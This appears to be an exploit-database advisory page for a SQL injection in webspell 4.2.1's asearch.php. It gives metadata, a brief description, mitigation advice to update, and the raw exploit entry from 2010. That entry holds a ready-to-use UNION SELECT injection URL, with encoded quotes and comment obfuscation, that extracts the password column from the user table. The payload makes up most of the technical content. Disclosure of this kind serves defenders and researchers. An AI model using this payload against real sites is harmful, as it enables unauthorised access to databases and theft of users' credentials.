webspell 4.2.1 asearch.php SQL Injection Vulnerability

vendor:

webspell

by:

silent vapor

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: webspell

Affected Version From: 4.2.1

Affected Version To: 4.2.1

Patch Exists: YES

Related CWE: N/A

CPE: webspell:webspell:4.2.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: PHP

2010

webspell 4.2.1 asearch.php SQL Injection Vulnerability

The vulnerability exists in the asearch.php file of webspell 4.2.1. An attacker can exploit this vulnerability by sending a crafted HTTP request to the vulnerable file with a malicious SQL query. This can allow the attacker to gain access to sensitive information such as passwords from the database.

Mitigation:

The vendor has released a patch to address this vulnerability. It is recommended to update the webspell 4.2.1 to the latest version.

Source

Exploit-DB raw data:

################# INFORMATION ##################################################
+Name : webspell 4.2.1 asearch.php SQL Injection Vulnerability
+Author : silent vapor
+Date   : 29.09.2010
+Script  : webspell 4.2.1
+Price : free
+Language :PHP
+Discovered by silent vapor
+Underground Agents
+Greetz to Team-Internet, 4004-Security-Project, Easy Laster
################################################################################

+Vulnerability : http://localhost/webspell/asearch.php?site=search&table=user&
column=nickname&exact=true&identifier=userID&searchtemp=search_user&search=

+Exploitable   : http://localhost/webspell/asearch.php?site=search&table=user&
column=nickname&exact=true&identifier=userID&searchtemp=search_user&search=
admin%2527%20UNION+/**/+SELECT%201,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20FROM
%20ws_2lu_user%20WHERE%20%25271%2527=%25271

################################################################################